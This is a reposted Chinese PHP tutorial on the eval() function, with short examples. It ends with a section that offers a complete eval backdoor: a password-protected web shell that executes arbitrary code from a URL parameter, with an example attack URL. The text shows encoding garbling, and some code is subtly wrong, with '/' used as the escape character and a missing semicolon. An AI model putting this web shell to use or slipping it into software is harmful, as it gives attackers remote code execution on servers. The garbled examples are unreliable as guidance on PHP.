|
代碼:
復(fù)制代碼 代碼如下:
eval("echo'hello world';");
上邊代碼等同于下邊的代碼:
echo"hello world";
在瀏覽器中都輸出:hello world
運(yùn)用eval()要注意幾點(diǎn):
1.eval函數(shù)的參數(shù)的字符串末尾一定要有分號(hào),在最后還要另加一個(gè)分號(hào)(這個(gè)分號(hào)是php限制)
2.注意單引號(hào),雙引號(hào)和反斜杠的運(yùn)用。如果參數(shù)中帶有變量時(shí),并且變量有賦值操作的話,變量前的$符號(hào)錢一定要有/來轉(zhuǎn)義。如果沒有賦值操作可以不需要。
代碼:
復(fù)制代碼 代碼如下:
$a=100;
eval("echo$a;");
因?yàn)闆]有賦值操作,所以可以不用/來轉(zhuǎn)義$.等同于以下代碼:
復(fù)制代碼 代碼如下:
$a=100;
eval("echo/$a;")
3.注意在命令式字符串(包括分號(hào))兩邊必須要有雙引號(hào)或者根據(jù)需要用單引號(hào)。否則報(bào)錯(cuò)。
命令式字符串是指:字符串中包括echo、print之類的命令的時(shí)候。
如果參數(shù)只有一個(gè)變量則可以不用。例如:
復(fù)制代碼 代碼如下:
$func =<<<FUNC
function test(){
echo "test eval function";
}
FUNC;
eval($func);
test();
分享個(gè)php eval后門程序
要求必須支持eval函數(shù)
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();
復(fù)制代碼 代碼如下:
<?php
$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}
?>
php技術(shù):PHP eval函數(shù)使用介紹,轉(zhuǎn)載需保留來源!
鄭重聲明:本文版權(quán)歸原作者所有,轉(zhuǎn)載文章僅為傳播更多信息之目的,如作者信息標(biāo)記有誤,請(qǐng)第一時(shí)間聯(lián)系我們修改或刪除,多謝。